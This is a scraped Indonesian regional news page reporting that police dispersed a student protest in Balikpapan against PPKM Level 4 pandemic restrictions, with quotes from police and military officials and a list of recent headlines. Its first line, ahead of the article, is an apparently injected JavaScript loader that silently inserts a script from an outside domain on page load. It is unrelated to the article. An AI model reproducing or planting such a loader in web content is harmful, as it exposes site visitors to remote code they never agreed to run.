(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Tolak PPKM Level 4, Polisi Bubar Paksa Aksi Mahasiswa Balikpapan


KANALKALIMANTAN.COM, BALIKPAPAN– Pembubaran paksa dilakukan polisi dalam aksi unjuk rasa yang dilakukan gabungan mahasiswa Balikpapan. Aksi ini terjadi di Jalan Ahmad Yani, tepatnya di depan Kantor UPTD Kesatuan Pengelolaan Hutan Produksi Bongan.

Aksi sebagai bentuk protes para mahasiswa soal penerapan PPKM Level 4. Mereka menilai kebijakan itu merugikan masyarakat. Karena tidak dapat mencari rezeki. Para mahasiswa meminta, agar PPKM Level 4 di Kota Minyak tidak lagi diberlakukan.

Awalnya, aksi ini direncanakan akan dilakukan di depan Kantor Pemkot Balikpapan. Namun, belum sampai di lokasi, petugas sudah mengamankan ratusan mahasiswa.

“Kami sudah fasilitasi dari kemarin. Tim kami turun menemui koordinator lapangan dan pihak perguruan tinggi mengimbau mahasiswa tidak turun ke lapangan. Tim saya sudah menghubungi wali kota untuk diaudiensi saja karena situasi sekarang sangat rentan terjadi penyebaran Covid-19,” kata Kapolresta Balikpapan, Kombes Pol Turmudi, yang dilansir dari Presisi.co-Jaringan Suara.com.

 

 

Baca juga: Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan

Terungkap pula bahwa Wali Kota Balikpapan, Rahmad Mas’ud, bersedia untuk menemui perwakilan mahasiswa agar bisa melakukan audiensi di Kantor Pemkot Balikpapan. Tapi, tawaran audiensi ini ditolak para mahasiswa.

“Mereka maunya wali kota ke lokasi demo,” ungkapnya.

Karena beberapa hal yang dipertimbangkan diacuhkan oleh mahasiswa, maka petugas mengambil sikap tegas. Di lokasi unjuk rasa, sempat terjadi kericuhan, lantaran mahasiswa menolak ditertibkan.

Dari ratusan mahasiswa, 15 orang di antaranya dibawa ke Mapolresta Balikpapan untuk dites antigen. Karena dinilai kegiatan ini berpotensi menyebarkan Covid-19.

“Kalau ada yang positif maka akan kami tracing semua. Semoga tidak ada yang positif,” imbuhnya.

Dandim 0905 Balikpapan, Kolonel Inf Faisal Rizal juga ikut berkomentar. Ia menyebut tuntutan yang diminta mahasiswa ini tak dapat dikabulkan. Karena, PPKM Level 4 merupakan instruksi langsung dari pemerintah pusat.

“PPKM ini sudah ditetapkan oleh Presiden langsung. Instruksi Presiden ditindaklanjuti dengan Inmendagri 23/2021, yakni Balikpapan termasuk yang ditetapkan menjadi PPKM Level 4,” kata Kolonel Inf Faisal.

Baca juga: Diskominfo Kapuas Potong Sapi dan Kambing Kurban

Disatu sisi, menurutnya, Pemkot Balikpapan telah memberikan kompensasi kepada masyarakat yang terdampak.

“Itu sudah disalurkan, terus apa lagi?” tegasnya.

Ia menyebut sah-sah saja jika mahasiswa mau menyampaikan pendapat kepada Pemkot Balikpapan. Hanya saja pembatasan jumlah yang terlibat harus diperhatikan.

“Sedangkan tadi saya hitung itu ada sekitar 180 sampai 200 orang. Sehingga itu betul-betul melanggar protokol kesehatan,” tutupnya. (suara.com)

Editor: cell


Risa

Recent Posts

Ini Catatan Akhir Tahun Kejari Banjarmasin Tangani Perkara Sepanjang 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kejaksaan Negeri (Kejari) Banjarmasin menyampaikan capaian kinerja dalam penyelesaian kasus tindak pidana… Read More

2 jam ago

Taman Van der Pijl Dibuka Setelah Pergantian Tahun

KANALKALIMANTAN.COM, BANJARBARU - Tak berapa lama lagi, taman Van der Pijl bisa dimanfaatkan warga Ibu… Read More

2 jam ago

Transaksi Digital Semakin Mudah: BRI-KAI Luncurkan QRIS di Resto on Train & Loko Cafe

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More

4 jam ago

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

15 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

17 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

19 jam ago

This website uses cookies.